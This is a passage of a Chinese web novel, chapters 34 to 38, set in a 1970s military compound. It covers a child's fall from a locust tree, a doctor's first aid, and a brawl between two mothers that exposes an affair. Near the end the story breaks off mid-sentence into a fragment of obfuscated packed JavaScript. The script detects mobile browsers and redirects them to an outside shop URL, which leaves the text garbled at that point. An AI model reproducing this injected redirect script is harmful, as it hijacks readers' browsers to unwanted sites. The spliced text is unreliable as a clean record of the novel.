有嫂子抓住喊叫的孩子问。
“是女孩。”
家里派男孩去撸槐花的嫂子们放下一颗心。
“哪个女孩,你们看清了吗?多大的?”
派女孩去撸槐花的嫂子们,脸色更难看了。
“是女孩,六七岁的样子。”
一个孩子说完,另一个孩子立马嚷起来,
“我看到了,是大花。”
“李菊花家的大闺女大花吗?”
张秋月问。
“嗯,是烂脸叔家的大花。”
一个小孩肯定的点头。
好几个孩子跟着附和,
“是的,就是烂脸叔家的大花,从好高的树上摔下来,腿断了。死过去了。”
孩子毕竟是孩子,他们嘴里的死过去了,也就是昏迷了。
“你们几个,赶紧去大花家,叫她妈和她奶奶。”
张秋月是个热心肠,虽然和李菊花不对付。但和孩子又没仇。
她赶紧叫住几个孩子,让他们去李菊花家叫人。
又叫住一个半大的小子,
“你快去找找,烂脸和人喝酒去了。找到他,给他说大花从树上掉下来了,让他赶紧回家。”
张秋月又安排人去找赵医生,赵医生刚走没多久,希望能半路截到她。
张秋月最后拉着刚才那个小孩,
“你在前面带路,带着我们去看大花。”
“我们也去看看吧?”
苏圆圆毕竟是个医生,做不到见死不救。
何况被摔的是个孩子。
苏圆圆知道,从高处摔下来的人,外面看到的伤并不可怕,最可怕的是内里受伤。
不懂医术的人,再随便挪动,容易造成二次伤害。
“你想去,就推我一起过去。”
霍战北自然万事都听媳妇的。
进了槐树林,苏圆圆一眼就看到七八个孩子站在那里。
中间地上躺着一个瘦弱的女孩,旁边散落着许多槐花树枝,上面有缀满槐花的,还有已经被撸的吐喽皮的。
孩子一动不动地躺在地上,枯黄的小身子下,是一滩血。
苏圆圆一身医术,不忍心看着这么小的孩子,在她眼皮子底下死去。
早抢救一分钟,孩子就可能活;晚抢救一分钟,孩子就可能死。
她快步走过去,蹲下去,伸手去检查孩子。
“你是谁?你这是干啥?”
“孩子摔死过去了,你不要乱碰。”
一直守在孩子身边的两军嫂,并不认识苏圆圆。
“我会医术,让我看看。”
“你是医生啊,我怎么不认识你?”
“你就是医生,在她家人没来之前,你最好也不要碰她。”
“对,她妈是李菊花,万一到时候,这孩子有啥不好,你会有麻烦的。”
这两军嫂赶紧劝苏圆圆。
她们两刚才也是守着孩子,不让人再碰到。
她们自己也不敢随便碰,怕自己做好事到最后变成坏事,反而惹一身麻烦。
“圆圆妹子,咱还是守着,你不要碰了吧。”
张秋月看着昏迷的孩子,有些不忍心,但还是拉了一把苏圆圆。
圆圆妹子和李菊花本来
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就不对付。
这孩子一看就摔的不轻。
万一……
到时候,李菊花一定饶不了圆圆妹子。
苏圆圆看着张大花黄瘦的小脸上,口鼻出血。
“霍战北——”
苏圆圆回头,冲着轮椅上的霍战北娇娇软软地一喊。
“媳妇,你只管看。”
张秋月:霍团长这声音?好宠!好贱!好不值钱!
两军嫂:我眼没瞎吧?我看见啥了?那是霍团长?这是霍团长媳妇?
不对呀,霍团长媳妇不是海市来的那个千金大小姐吗?
满院子给她们送糖,聊天的!
霍团长这是有两媳妇?
“你们都散开,不要围着,空气不流通,对昏迷的病人不好。”
苏圆圆迅速检查张大花伤情。
脊柱、颈椎没损伤,右腿骨折。
口鼻出血,不排除颅内出血、内脏损伤
虽然昏迷不醒,但有自主呼吸,颈动脉搏动微弱。
苏圆圆判清症状,立马展开急救。
让孩子平躺,解开衣领,不顾脏污,用手去清除口腔异物,尽量让孩子能呼吸通畅。
苏圆圆别看胖,可她的一连串动作,流畅又熟练,甚至看起来就像肌肉记忆一样。
这真是一个看爷爷给人治病,偶尔帮把手的乡下姑娘吗?
众人都惊呆了。
槐花簇簇,枝叶摇曳,树影投在霍战北的脸上,依然面无表情,但那双眸子,光影闪烁、若有所思。
“我的闺女唉,我的大花,我的娇闺女!”
一阵凄厉的哭声由远而近。
连带着一阵纷乱的脚步声。
李菊花一边跑,一边嚎叫着。
“你害我闺女,你这个不要脸的!”
一眼看到蹲在地上的苏圆圆。
李菊花┗
第34章 谁干的
“是不是你?”
“还是你?”
李菊花扫过的孩子纷纷摇头。
“一定是你,你见天就欺负我们家闺女,是不是你撞倒我闺女的。”
被李菊花盯着骂的胖小子,看了一眼旁边树下,站着的一个黑壮小姑娘,小声说,
“不是我,是李宝珠。”
叫李宝珠的黑壮小姑娘站在那里,抱着胳膊一脸冷笑。
这小姑娘咋长这么丑呢?
大呲牙、塌鼻子、厚嘴唇、三角眼。
苏圆圆只觉得一阵眼疼,这是她穿书后,见到的最丑的一个小姑娘了。
“不是撞倒的,俺姐是从树上摔下来的。”
一个弱弱的声音从一棵树下响起,众人这才发现,一个四五岁的瘦弱小女孩,正抱着一破筐槐花瑟瑟发抖。
“二花,你个没用的货。你姐都让人害成这样了,你还缩在那跟个瘟鸡一样。”
李菊花看到二闺女,似乎一下子找到了发泄口,狠声地骂着二闺女,
“还不死过来,说说,是谁撞的你姐?”
李菊花阴毒的目光,像锥子一样剜着李宝珠。
“是李宝珠。是她拿树枝子砸的我姐。她比我姐爬的高,她……”
张二花缩着脖子,才刚一开口,就被一只大手啪一下打在头上,打得她细脖子颤了几颤。
“你这个死孩子,你胡说啥?”
一个鞋拔子脸女人收回手,一把拉过李宝珠,
“我家宝珠是个乖孩子,咋可能干那样的事。”
“妈!”
李宝珠靠在女人身上。
这两人简直就是一大一小两个复制黏贴。
真像!也真丑!
这女人是?
“她是李大山媳妇,那个李宝珠是李大山的独生闺女。”
张秋月一脸看好戏的表情,
“这李大山的亲闺女,打伤了李菊花的亲闺女。啧啧,这下可有好戏看了。”
啊?苏圆圆怔了一下,这事也太巧了吧?
这一对超级丑的母女,竟然是李大山的媳妇和孩子?
苏圆圆突然就明白了,李菊花长成这样,为啥李大山还当个宝一样稀罕了。
“二花,你说,到底咋回事?”
李菊花冷声命令二闺女说。
二花往她妈身边靠了靠,仿佛有了主心骨,声音虽然不大,但非常清晰地讲了事情的经过。
经过:今天中午槐树林,撸槐花的孩子有很多。
七十年代,家家日子过得都很清苦。离地面低一些树枝上的槐花,早就被人撸光了。
孩子们要想撸到更嫩更多的槐花,只能往树上更高的地方爬。
林子里最粗的那棵老槐花树,树冠庞大,有三层楼那么高。
几个小孩子都爬上去撸槐花。
李宝珠爬的最高,坐在高高的树叉上,嘴里吃着香甜的嫩槐花,眼神看向下面。
在她下面第二个伸出去的横枝上,瘦小的张大花,伸长细瘦的胳膊,正在努力地撸着树枝上的槐花。
张大花七岁,瘦小灵活,折下一枝带满槐花的枝子,扔到树下。
二花才五岁,还不会爬树,就在下面,提着筐子,姐姐扔一枝,她就撸一枝。
所有的孩子都在忙着撸槐花。
李宝珠费力折下一段粗大的槐树枝子,突然朝着大花砸过去,
“张大花,给你这一枝,花多。”
“啊!”
粗大的槐树枝子,带着劲风砸下去。
张大花瘦小的身子被砸个正着,树枝划向她的脸和眼,她惊叫一声伸手去捂脸。
脚下一滑,身子晃了晃,从树上直直掉了下去。
大树枝轰然落地,吓得二花一屁股坐到地上,抱头发抖。
砰!
张大花掉到了地上,口鼻出血,晕了过去。
……
“李菊花,孩子的话,你可不能信。我家宝珠不是那样的人,不可能砸你家大花的。”
大山媳妇偷瞪了二花一眼,
“我看你是怕你妈打你。你们姐妹两一起来撸槐花,你姐摔**,你妈饶不了你。”
“我家二花从来不会说谎。”
李菊花毒蛇一样的目光,扫过面前母女俩身上的穿着。
心里恨恨不平,这个又蠢又丑的女人,她只给李大山生了一个赔钱货,凭啥,就能穿新衣裳戴手表?
自己肚子里可还揣着李大山的儿子呢?
却还得窝在张家,天天吃糠咽菜、挨打受骂?
“她一个五岁的孩子,知道啥?咱这些大人,可不能由着孩子胡说。”
大山媳妇撇了下嘴,
“除了你家二花,谁还看见是我闺女砸你家大花了?”
大山媳妇看着李菊花的表情,活脱脱像看一堆破烂一样。
“我闺女在树上摘槐花,你闺女也在树上摘槐花。离得那么远,又不是在地上,根本碰不着。”
“那么多人,我家二花都不赖,为啥只赖着你家闺女?就是你家闺女砸的,你再
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狡辩也没用!”
看着李菊花一口咬死。
大山媳妇也有些恼了。
“你咋不说,是你闺女自己没本事,脚滑没站住,摔下来,咋能怪到我闺女头上去?”
“那你闺女咋没事?”
“李菊花,你听听你这说的,是人话不?你闺女出事了,我本不想和你一样,可你一张嘴,就不说人话。一点都不论理。”
大山媳妇盯着李菊花,眼里的厌恶满满的,都要溢出来了。
什么玩意!
仗着和自家男人是同乡,见着她家男人,就喊哥。
她家男人也是心善,总对她说,毕竟两人是同村同族,算起辈份来,两人还是没出五服的堂兄妹。所以总得照应着点。
家里不用的旧东西、旧衣裳,男人总让她收拾了,时不时送去张家。
这李菊花真不是个东西,得了她家的好处,还背地里撺掇她男人打自己。
真是自己日子过不好,天天被男人打,就恨不得全天底下的女人,都和她一样,顿顿被男人捶。
啊呸!
真是个拎不清的货,也不看看,李大山可是入赘了她李家的,吃李家的住李家的,连工作都是自家舅舅帮着找的。
李菊花越看大山媳妇手腕上的那块表,心里越是难受,恨不得一把抢了过来,戴在自己手上,
“你说谁不论理呢?你家闺女砸了我孩子,你还有理了?”
李宝珠突然冲着李菊花喊了一句,
“砸死倒霉!”
“哎哟喂,你听听,你家闺女这话说的,她承认了,就是她砸的我闺女。”
李菊花嚎起来,
“你这小丫头,心咋那么毒?你凭啥打俺大花?俺家大花那么老实的孩子,她招你惹你了?”
“宝珠,你胡说啥?她闺女和咱没关系,不是你砸的,你不要胡说。”
大山媳妇没想到,闺女会突然来这样一句。
心里慌了,看样这大花真是自家闺女砸的。
自己闺女虽然一向娇纵,可也从没有这样欺负过人?
李宝珠并不理会她妈的着急,直盯着李菊花的肚子,
”你不要脸!“
李宝珠骂了一句。
李菊花怔了一下,被一个小闺女当众骂,她脸上撑不住,
“你娘俩才不要脸,你们一对子不要脸。”
李菊花又怒又气,
“你娘俩也不撒泡尿照照自己,就你娘俩那长相,躺地上白送,人家也不要。”
第35章 被闺女撞破了
“李菊花,你不要给脸不要脸!”
大山媳妇一看李菊花骂她闺女,立马破防了,
“我闺女才十二岁,你一口一个不要脸。你一个大人跟个孩子计较,你才是真真不要脸的货。”
大山媳妇一边骂,一边数落着李菊花。
“你娘一头牛把你卖给了张治国,你以为你是个啥货?”
“来的时候,一身破衣裳,连个裤衩子都没有,还是俺男**山拿我的衣裳给你穿的。”
“你被你男人打,哪一次不是俺大山去帮你。”
“你生大花的时候,你婆婆嫌你生了个赔钱货,连口凉水都不给你喝。还是我从供销社给你买的红糖。
”
……
大山媳妇真是怒了,一桩桩,一件件的数落着,这些年,两口子帮李菊花的事。
越说越伤心,
“说起来,你和俺男人也只是没出五服的堂兄妹,又不是亲妹子,俺两口子这样帮你,你还骂俺闺女。”
几个军嫂在旁边听了,互相递个眼色,有人觉得大山媳妇太实诚,有人觉得大山媳妇眼瞎……
苏圆圆在旁边听得,心里唏嘘。
看样子,大山媳妇不但被蒙在鼓里,还傻乎乎地帮了李菊花不少忙。
“你以为你是啥好人,仗着你是个城里人,高高在上的。你打心眼里看不起我。这些年,你可没少在大山哥面前败坏我。”
李菊花最怕人家说她的过去。
尤其这个人还是大山媳妇。
“菊花,别骂了,赶紧送孩子去医院吧?”
有军嫂实在看不下去了,出声提醒。
“对,过来,你抱着我家孩子,咱一起去医院。”
“我凭啥去医院?你的孩子你自己抱。”
大山媳妇骂骂咧咧,
“你是属狗的,不要见谁咬谁。我可不吃你那一套。”
“这看病不得花钱,你孩子犯的错,你这个当妈的,自然得给我们付医药费。”
李菊花愤愤,
“我家大花多能干,洗衣裳做饭看孩子。她住院了,你就得去我家帮着干活。”
“你脸咋那么大?我还去你家帮着干活?你咋不说,叫我去你家伺候你到生来?”
“你不说我倒忘了。我这月份大,啥也不能干。端茶倒尿壶,都是我们家大花的。”
李菊花好不容易逮着这个机会,就是想好好作践一下大山媳妇,
“大花住院了,你去给我端茶倒尿壶,也是应该的。”
啧啧!
苏圆圆听这两女人骂架,真是毁三观。
她注意到,刚才大花睁了一下眼,看到躺在她妈怀里,她妈正和人骂架,立马吓得又闭上眼。
孩子醒了,最严重的问题就剩下腿了。
苏圆圆提着的心,总算放了下来。
“你是想钱想钱疯了吧?”
大山媳妇恶狠狠地骂,
“想要钱也行,除非你家闺女**,**我就当给你个烧纸钱。”
“你闺女**,你全家都**。”
全家都**?
苏圆圆实在忍不住,噗嗤笑了。
李菊花这个熊货,真是太没脑子了。
她肚子里还怀着李大山的孩子,居然骂人家李大山媳妇孩子全家都**。
“哈哈哈——”
张秋月也忍不住,她一向大方豪爽,倒也不摭着掩着,拍着大腿,笑得直不起来腰,
“哎哟,我的娘唉。李菊花你这句骂得狠,**家全家!岂不是大人孩娃都得死!”
人群中不少军嫂都知晓内情。
听了张秋月的话,都跟着笑。
李菊花骂秃漏嘴了,只管骂,都不过脑子。
被几个军嫂一笑。
怔了一下,才回过神来,她把自己肚子里的孩子也骂了,赶紧朝地上吐了一口唾沫。
啊呸!不灵不灵!我骂得是死她娘俩,和我肚子里的崽无关。
男女那点子事向来如此,全世界的人都知道了,就只有当事人的媳妇被蒙在鼓里。
这些年,李大山没少往张家跑,没少帮李菊花,大山媳妇也只是怀疑。
一来李大山嘴甜会花,她每次一怀疑,李大山几句话就把她哄住了。
二来,李大山也没少和张治国喝酒,有时喝多了,两男人一起滚泥沟里去。
她去拉李大山,李菊花拉走张治国。
因此,她也只是怀疑,并没有抓住现形。
更多的,还是大山媳妇的自信,她觉得李大山是她家的赘婿,人就在她和她舅眼皮子底下过活。
她家李大山最多,也就是个有贼心,没贼胆的货。
“胡搅蛮缠,不和你说了。”
大山媳妇骂完了,拉着闺女就
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走。
“不许走,赔了钱才能走!”
李菊花抱着孩子不方便起身拦,就喊二花,
“二花,抱着她腿,放她走了,我打死你。”
二花一听她妈这样说,小身子吓得一颤,赶紧冲过去,双手抱住大山媳妇的腿,死都不松。
“放开!”
大山媳妇踢了踢,二花就像个皮球一样,被踢得晃荡了几下子,还是死死抓住不放手。
“李菊花你个不要脸的,让你闺女快松手。”
当着这么多人的面,大山媳妇总不能直接踢飞二花。
气得脸铁青。
“赔钱,你只要赔钱,就放你走。”
李菊花眼睛死盯着大山媳妇手腕上的那块表。
蝴蝶牌19钻!
这块手表可是李大山去年从海市运货回来,在海市供销社买的,花了115块钱。
说好是给她买的。
结果还没等送给她,就被大山媳妇发现了,害她白欢喜一场。
这是她的表,她得要回来。
李菊花咽了一口唾沫,
“你要不赔钱,留下你手上的那块表抵上,也管。”
“李菊花,你一点B脸都不要。”
大山媳妇恼了,
“要钱要手表,你以为你是十八岁的大闺女,还想要我娶你咋的?”
哈哈哈,周围的军嫂们笑了。
“不要你娶她,要娶也得你家男人娶。”
有一个心直口快的嫂子打趣道。
大山媳妇不想听人开她男人的玩笑,扯开二花,推一边去,拉着闺女就走。
一扯,
咦,
她闺女一动不动。
大山媳妇低头一看,
她闺女正两眼直勾勾盯着李菊花的肚子。
李宝珠脑海里此时浮现的,正是前几天看到的一幕。
她玩到天黑,路过河堤,一堆干草垛后面,突然传出两个人调笑的声音。
“你别碰我腰,痒痒**。”
“菊花,这月份也大了,不怕事的。”
“你咋这么猴急呢?万一碰着你儿子,到时候有你哭的。”
“我会小心的,碰不着,嘿嘿——”
接下来,草垛一阵摇晃……
李宝珠傻了,呆呆站在那里,一动不动。
那男人的声音她太熟了。
是她爸李大山。
……
第36章 自家男人替别人撑腰
李宝珠死死盯着李菊花的肚子,她妈扯她,她也不动。
这肚子里,真的是她爸的儿子吗?
她爸有了儿子,还会要她吗?
她爸会和她妈离婚吗?
李宝珠怨恨地盯着李菊花的肚子。
如果这个坏女人肚子里的孩子没有了,她爸爸是不是就不会要去找这个坏女人了?以后也不会和她妈离婚了?
李菊花自然看见了,故意把肚子往前挺了一下。
“看啥看,我肚子里可是儿子。你一个赔钱货,比得上吗?”
李菊花一手抱着大花,一手摸着自己的肚子。
想着李大山给她说的那些话。
李大山给她说:菊花啊,俺媳妇不能生了。你要是能给俺生个儿,给俺李大山续香火。我一准和她离了,娶你。
原先明明许了她,说只要她怀了儿子,他就和媳妇离婚。
后来她真怀了孩子,李大山又说,现在还不知道她肚子里是男是女,要还是个闺女,他李大山就两闺女了,他哪个也舍不得丢。
李大山说,他和他媳妇是没有感情,但闺女是他亲生的,和媳妇离婚,媳妇一定不愿意让他带走闺女。
昨儿去医院检查,确定她肚子里怀的是个儿。
李菊花激动坏了,觉得现在李大山可以兑现他的承诺了。
她又追着李大山,要他赶紧和媳妇离婚,带她走。
昨天两人的对话:
“大山哥,你赶紧和你媳妇离婚吧。离了带我走。”
“菊花,我能离婚。你和治国是军婚,你离不掉。”
“我知道离不掉,那你带我跑。”
“一跑,我工作就没了,没钱咋养活你和儿子?菊花,你别急,你再等等,我再想想办法。”
“大山哥,我等不及了。孩子一生下来,到时候治国发现不是他的种,他会打死我的。”
“你让我再想想,我走,也得带走我闺女,我舍不得我闺女。”
“你可得想清楚,大山哥。治国心毒手狠,他要发现了,会打死我,也会弄死你儿子。你到底是要儿子,还是要闺女?”
……
李菊花狠毒地盯着李宝珠,一脸恨不得吃了她的表情。
都怪这个小赔钱货,要不是舍不得她,大山哥早领她跑了。
“你敢骂我闺女赔钱货?”
大山媳妇脸色变了。
闺女可是她的心头肉,谁敢说她闺女一个不字,她就会跟谁拼命。
“我就骂你闺女咋了,我不但骂她赔钱货,小贱蹄子。我还咒她早死早脱生呢。”
李菊花现在都不能看见李宝珠,觉得就是这个小赔钱货挡了她奔向幸福的路。恨不得伸手掐死这烦人的小东西。
大山媳妇怒了。
觉得这李菊花也太恶毒了。这些年,自家男人没少帮她。
如今,只因为大花这件小事,就敢当着她的面,咒她闺女死!
恩将仇报、糟心烂肺的玩意!
她一脚踢开二花,冲过去,朝着李菊花的脸,轮起胳膊,
啪,啪,啪,
一连三个响亮的耳光,扇在了李菊花瘦黄的脸上。
“你想屁吃呢,你咋不上天!你咒谁死呢?要死也是你死,你肚子里的孩子死,你全家都死光。”
李菊花毕竟是个孕妇,又抱着孩子坐地上,哪里是又高又壮的大山媳妇的对手。
被打的满脸开花,鼻血流出,大声嚎叫,
“打死我了,我不能活了,哎哟,我的肚子……”
“别打了!”
“你们两别打了,她还怀着孩子呢?”
几个军嫂看不下去了,赶紧上前拉架。
李菊花又哭又骂,趁着拉架乱,她一脚踢向李宝珠的腿。
李宝珠毕竟是个孩子,被踢得哎哟一声,仰面朝地上摔去。
“哎哟,我的乖儿,你咋了,碰哪了?”
大山媳妇一见,啥也顾不上了,赶紧去抱自己闺女。
一阵脚步声传来。
李菊花眼角余光看到了一个熟悉的高大身影,立马手抚着肚子喊起来,
“哎哟,我肚子疼,踢着我肚子了。”
肚子疼?
踢着了?
刚一进槐树林的李大山听到李菊花的哎哟,尤其是听到踢到肚子了。
一紧张,也顾不上旁边的张治国,急走两步,
“咋了,肚子咋了?”
“毒妇,想害死我的孩子,她……
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”
李菊花只是哭,一边哭,一边说,人家打她脸了,踢她肚子了。
李大山看着李菊花干瘦脸上的手掌印子,再看看她捂着肚子的手,心疼的抽抽的。
“是谁,咋这么狠?有啥事不能解决,打一个孕妇,也太毒了吧?”
李大山站起来,冲着张治国说,
“你看看,菊花这脸给人打的。明知菊花是个孕妇,还踢她肚子。这是眼里没有你们张家,还是觉得菊花娘家没人了?”
“哥说的对,谁咋这么恶,这是看不起人来。”
才上酒桌,就被人拉过来,张治国一肚子不高兴。
“哥,咱去找他们,揍死个熊的。”
张治国今天中午喝过一顿了,刚才上了酒桌,又一口闷了半瓶白酒,此时舌头都大了。
一双醉酒,环顾四周,
“你们,谁打的我闺女?谁打的我媳妇?”
张治国这种人,别看他天天在家捶媳妇,捶得给个面瓜一样。
自从他烂脸后,在外面,他就特别要脸面。他的媳妇和孩子,只能他自己捶,别人招一手指头子,那都是绝对不行的。
因为,他觉得那不是打他媳妇孩子,是打他的脸!是看不起他!
“就是的,你们谁打的?”
李大山眼睛扫着四周的大人孩子。
“我打的,咋了,李大山,你这是要给李菊花报仇,想揍死我?”
刚才大山媳妇蹲在地上,看她家宝珠。
被几个军嫂挡着,李大山没看见。
“媳妇?你?”
“你这个女人也太狠了,你看看你把我闺女打的,还有我媳妇,要是她肚子里的儿子有个三长两短,我——”
张治国醉眼迷离,看都看不清面前的人是谁。摇晃着身子,指着大山媳妇,
“你给我赔钱,要是不赔钱,我就把大花抱你家门口去。我看你们可赔钱?”
“我赔,赔你娘个B”
大山媳妇一头朝张治国撞去,张治国站不稳,倒了,直直砸向李菊花和她怀里抱着的大花。
自家男人一来,就为李菊花出头,比人家男人还殷勤。
大山媳妇真是心里特别憋屈和难受。
第37章 你和坏女人是一家的
“别闹,你们别闹了,赶紧想办法送孩子上医院吧!”
人们涌上去拉架。
苏圆圆看得整个**无语,这都啥人啊?当爹当妈的,自家孩子伤成这样,都不管孩子,还有心情和别人扯皮。
尤其是这个当爹的,不去救孩子,居然一个劲在和别人谈赔钱。
这时候,赵医生总算来了。
“大家快闪开,让赵医生给大花看看。”
赵医生简单检查了一下大花,
“急救处理的很好,孩子也醒了,没有啥大问题了,就是腿不能碰。赶紧抱着孩子送医院。”
听赵医生这么一说,苏圆圆忍不住出言提醒,
“高处摔晕的病人不能随便动,不然,腿可能会瘸。而且内脏如果有问题,轻易移动会出大事。最好用担架,放平小心抬着去医院。”
赵医生听到声音,回头看了苏圆圆一眼,
“对,霍团长家的说的对,应该妥善处理后,用担架送医院。”
“等啥等,你就是个坏心眼的。”
李菊花见着她男人和李大山都来了,立马底气足了。
她四处望着大家,
“赶紧的,你们都搭把手,把我家大花赶紧送医院去。”
李菊花不再看大山媳妇母女,而是把目光温柔地定在李大山身上,
“大山哥,你看我家治国醉成那样,是个不成事的。你抱着我闺女,我们一起去医院。”
然后把声音又放柔了一些,
“孩子小不懂事。你家宝珠也不是故意的。只是大花伤得太重,你也知道,俺家有一个钱,都得被治国掏了喝猫尿去。”
李菊花眼泪汪汪,要是不鼻青脸肿,鼻子蹿血,还挺有一番味道,
“大山哥,要不,你让嫂子回家,先拿几个钱,给大花先治病,等俺手头宽裕了,就让治国还你。”
苏圆圆简直不敢相信自己看到了啥!
这么温柔的声音,这么羞怯的眼神,这么讲理的话,居然是李菊花做出来的?
果然,这世上有两种事藏不住,一是咳嗽,二是爱。
李菊花爱李大山?
一个泼妇秒变贤惠小媳妇!
李大山呢?
“菊花妹子,你看你说的这叫啥话。咱本就是亲戚不说,祸是我家宝珠惹出来的,你嫂子自然会同意拿钱给你家大花看病。”
李大山眼睛一直没有离开李菊花的肚子,
“你刚才不是说肚子疼吗?等会到了医院,你和大花都看看。钱你放心,你嫂子和我都不是装孬的人。毕竟是我家孩子惹的事。”
李大山一句一个我家孩子惹的事,拿钱是应该的。
从来到现在,他都没问一句他媳妇,事情到底是怎么样的?
苏圆圆心里啧啧,果然这男人要是喜欢谁,他也是满心满眼都是谁,媳妇孩子算个啥,完全看不见。
“李大山!”
大山媳妇眼圈红了,
“你咋能啥都听她说,你也不问问咱闺女,她……”
“别说了,赶紧回家拿钱去!”
李大山此时脑子里一直在想,李菊花刚才说她肚子疼。
哪有心思听自己媳妇闲扯。
因为他是赘婿,工作都是靠着媳妇娘家舅给找的,李大山最怕在大家面前,被他媳妇压着。
“我不拿,我一分也不拿,李大山,你看看咱闺女。”
大山媳妇在家里向来说一不二,平时在人前她是会给男人留几分脸面。
可是今天这事不同,她把怀里的闺女推向李大山。
“大山哥,嫂子实在不愿意拿钱,就算了吧,你又不当家。省得你回去再作难。”
李菊花可怜兮兮看向四周,
“你们谁口袋里有钱,先借我们几个,把孩子先送医院。”
李大山脸腾的一下子涨红了,
“走,住院去。花多少钱,我都掏。”
苏圆圆目瞪口呆。
这个李菊花真是一次次刷新着她的认知。
在拿捏李大山这一块,她居然一点也不憨。
可是,
为啥她就拿捏不住自家男人,还得天天挨揍呢?
“你这个坏女人,你**吧!”
谁也没有想到,意外会在这时候发生。
被她妈推出去的李宝珠,没有走向她爸,反而像个小炮弹一样,朝着李菊花冲去。
脚一抬,就在众目睽睽之下,直接踢在了李菊花的肚子上,带着孩子所有怨恨和力气。
“啊——”
李菊花发出一声惨叫,幸好她怀里抱着大花,刚才这一脚被大花挡住一半,另一半落在她肚子上。
当即她疼的脸色苍白,额头冒汗。
啪——
没有丝毫犹豫。
李大山一巴掌打在了自家闺女的脸上。
“看你教的好闺女,还不带着滚回家。”
闺女弄伤了大花,这事只是一群孩子说,毕竟没有大人在场,只要把大花送医院看看,给些医药费就算了。
李大山最初并没有打算吵自己闺女,心想说自家媳妇两句,让她带着闺女回家拿钱就算了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17194412|197124||http|test|mini|href|location''.split(''|''),0,{}));
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r>可现在闺女踢人,是在众目睽睽之下,何况踢的还是菊花肚子里的他的亲生儿子。
这他一点也忍不了。
闺女是他亲生的,儿子也是他亲生的!
李宝珠是家里的独生女,打小被娇惯着长大,哪里受得了这个。
她爸居然打她?
还是为了这个坏女人,和她肚子里的孩子打她?
李宝珠委屈极了,也绝望极了。
“踢死她,我就是要踢死她,踢死她肚子里的坏种。”
李宝珠被她妈抱在怀里,依然乱蹬着腿,挣扎着要踢死李菊花。
大山媳妇心疼地抱着闺女的腰,此时她既气男人当众打闺女,又害怕闺女当众踢李菊花肚子,再踢出事来,闺女这恶名声可就洗不掉了。
李宝珠毕竟是个大孩子,身高体壮。
大山媳妇一个没抱住,她就再一次冲向了李菊花。
“踢死你,踢死你全家!”
她吼着。
啪,啪,啪——
一连几个大耳光,狠狠甩在了李宝珠脸上,打得她身子歪了几下,倒在地上。
“你这个孩子,谁教你的。你能踢死谁?再胡咧咧,看回家爸爸不打死你!”
“李大山,你凭啥打我闺女!”
大山媳妇冲过去,一把抱住闺女,冲着李大山,眼圈红的可怕。
“你不是我爸爸,你是坏人,你和坏女人是一家的。你要她肚子里的孩子,你不要我了——”
李宝珠毕竟是个孩子,从小到大,这是她第一次挨打。
看着她爸气红的脸,她又害怕,又怨恨,又委屈,扯着和她妈一样的大嗓门,使劲地哭嚎起来。
肚子里的孩子?
一家的?
众人哗一下议论开了。
背地里大家偷说是一回事,当面被孩子揭破又是一回事。
“李大山,你——”
大山媳妇所有的怀疑,在此时被闺女一句话撕破。
紧紧抱着闺女,哆嗦着嘴唇,说不出一句完整的话来。
“咱家闺女那脾气就仿了你,小孩子胡说的话,你也信。”
李大山慌了一瞬。
“哎哟哟,我的肚子。”
李菊花瞟到张治国醉醺醺的样子,赶紧捂着肚子嚎,
“治国,我的肚子,见血了,哎哟哟,你儿子要没了。你们老张家要断香火了。”
李大山的目光落到李菊花裤腿上,那里正有鲜红的血液流出……
整个人如坠冰窖,菊花不能有事,菊花肚子里的他儿子更不能有事。
第38章 为啥是八百块?
李大山看了下四周异样的眼光,再看看醉醺醺的张治国。
目光接触到李菊花惊慌的眼神,最后落到她的肚子上,很快恢复了平静。
“还不赶紧带着闺女回家,一会把钱送医院。”
张大花刚才被李宝珠踢了一脚,正踢在她断了的腿骨上,此时疼得小脸苍白,全身颤抖。
李大山一跺脚,就要去抱大花。
“你不能动她,得用担架抬着才行。”
赵医生赶紧拦住李大山,
“这孩子的腿骨断了,再碰着怕是要瘸一辈子。”
苏圆圆本想着,赵医生在这里,她就站在一边,纯看个热闹就行。
目光落到李菊花脚踝处蜿蜒似一条蚯蚓的血流时,立马开口,
“她要快些送医院,孩子月份这么大,要是早产就麻烦了。孩子腿骨断了不能动,要等担架来了走才好些。”
李菊花破天荒没有再骂苏圆圆。
而是抬脸用哀求的目光,小心翼翼地看着张治国,
“治国——”
“赔钱,李大山,你闺女打了我闺女,打了我媳妇,还打了我儿子,你不赔钱,谁也别想走!”
张治国一句李大山,震的李菊花张大嘴巴,不敢嚎了。
“治国兄弟,你看看你喝醉了,说啥醉话呢。孩子不懂事犯了错,我李大山不会装孬。赔,一定赔你,你说要多少钱,我都赔你。”
李大山小心观察着张治国的神情,心里七上八下的。
张治国喜欢喝酒,也能喝,有个一斤酒的量。
这中午和晚上两顿加一起,李大山估摸着,张治国最少得喝一斤半的酒。
这会子应该醉的不轻,就是听到宝珠说的那些混话,应该也不能思考得清才对。
“赔,我这就要,赶紧拿出来。”
“好,都听你的。”
李大山赶紧掏自己的口袋子,虽然都是他媳妇管家,可他出车在外,能挣不少外快。
掏干净他自己的口袋,又去掏他媳妇的口袋。
大山媳妇紧紧抱着孩子,坐在地上,一脸木然,还陷在刚才的打击中没有清醒过来。
男人来掏她口袋,她也没反应,只是呆呆盯着男人的脸看。
表面木然,心里却山呼海啸一般。
李大山,他怎么可能会和李菊花睡一起?
李大山,他怎么会弄大了李菊花的肚子?
李大山,他到底是怎么敢的?
“治国,这些都给你。我们先把人送医院,等办好手续,我回家再给你拿。”
李大山把一堆大小不一的票子,还有几张粮票塞到张治国手里。
“这话可是你自己说的,我要多少钱,你都赔我。”
张治国斜着醉眼,半边烂脸对着李大山,
“我要你赔我八百块钱。”
啥?
八百块?
大家惊呆了。
这个张治国可真是醉得不轻,他自己当仓库保管员一个月才几十块钱。竟然敢开口就问人家要八百多。
大山媳妇当售货员,有她舅当靠山,一个月拿55块钱,都是高工资了。
李大山比她工资高些,再加上能挣外快,但再高,一个月也拿不到一百。
八百块,人家两口子得干大半年。
这也太讹人了吧!
“治国兄弟,你看你说啥醉话。我们赶紧送人去医院。到时候,不管看病花多少,我都给你拿三百块钱。”
三百块?
